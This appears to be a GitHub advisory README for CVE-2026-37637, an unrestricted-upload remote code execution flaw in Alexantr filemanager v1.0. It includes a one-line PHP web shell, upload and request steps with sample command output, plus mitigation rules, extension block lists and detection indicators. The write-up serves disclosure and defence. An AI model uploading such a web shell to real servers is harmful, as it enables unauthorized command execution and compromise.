slo-cyber-sec/cve-2026-37637Remote Code Execution in Alexantr filemanager v1.0 via unrestricted file upload
Proof of Concept for CVE-2026-37637 - Remote Code Execution in Alexantr filemanager v1.0 via unrestricted file upload in filemanager.php.
CVE-2026-37637 is a Remote Code Execution vulnerability affecting Alexantr filemanager v1.0.
The vulnerability exists in the filemanager.php component due to insufficient validation of uploaded files. A remote attacker can upload a malicious PHP file into a web-accessible directory and execute arbitrary commands on the server.
CVE status: Submitted to MITRE
Researcher: CYBER-SEC Vendor repository: https://github.com/alexantr/filemanager
| Item | Description |
|---|
| CVE ID | CVE-2026-37637 |
| Vulnerability Type | Remote Code Execution |
| Affected Product | Alexantr filemanager |
| Affected Version | v1.0 |
| Vulnerable Component | filemanager.php |
| Attack Vector | Remote |
| Authentication Required | Depends on deployment/configuration |
| Impact | Arbitrary command execution |
| Root Cause | Unrestricted file upload and lack of server-side file validation |
An attacker can upload a malicious PHP file through the file upload functionality. Because uploaded files are stored in a web-accessible location and PHP execution is allowed, the attacker can execute arbitrary system commands on the server.
Successful exploitation may allow an attacker to:
The application allows users to upload arbitrary files without properly validating the file extension, MIME type, or file content.
A malicious PHP file such as the following can be uploaded:
<?php system($_GET['cmd']); ?>
Once uploaded into a web-accessible directory, the attacker can execute commands by accessing the file through the browser and passing commands through the cmd parameter.
Example:
http://target/uploads/shell.php?cmd=id
This results in command execution on the underlying operating system.
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
Open the application in a browser:
http://localhost:8000/filemanager.php
Depending on the deployment or configuration, the application may also be accessible through:
http://localhost:8000/pheditor.php
Create a file named shell.php:
<?php system($_GET['cmd']); ?>
Upload the file using the application’s upload functionality.
After uploading the file, access it directly from the browser:
http://localhost:8000/uploads/shell.php?cmd=id
If the exploit is successful, the server will execute the command and return the output.
Example output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
The command supplied through the cmd parameter is executed on the server.
The vulnerability is caused by insufficient server-side validation in the file upload functionality.
The application does not properly restrict:
As a result, executable PHP files can be uploaded and executed directly.
The vendor and users should implement the following protections.
Disallow upload of executable file types such as:
.php, .phtml, .php3, .php4, .php5, .phar
Only allow expected file types, for example:
.jpg, .png, .gif, .txt, .pdf
Do not rely only on the client-provided Content-Type header.
File validation should be performed server-side.
Uploaded files should not be directly executable or publicly accessible.
For Apache, this can be done with .htaccess:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
For Nginx, prevent PHP handling in upload paths:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
Use random server-generated filenames and remove user-controlled extensions.
Restrict upload functionality to trusted users only.
Administrators can look for suspicious uploaded PHP files in web-accessible directories.
Example indicators:
shell.php
cmd.php
upload.php
backdoor.php
.php files inside upload directories
Suspicious request patterns may include:
?cmd=
?exec=
?shell=
?command=
Example log entry:
GET /uploads/shell.php?cmd=id HTTP/1.1
This repository is provided for educational and defensive security purposes only.
The information and proof of concept are intended to help developers, system administrators, and security professionals understand and remediate the vulnerability.
Do not use this information to attack systems without explicit authorization. Unauthorized access to computer systems is illegal.
The author is not responsible for any misuse of the information provided in this repository.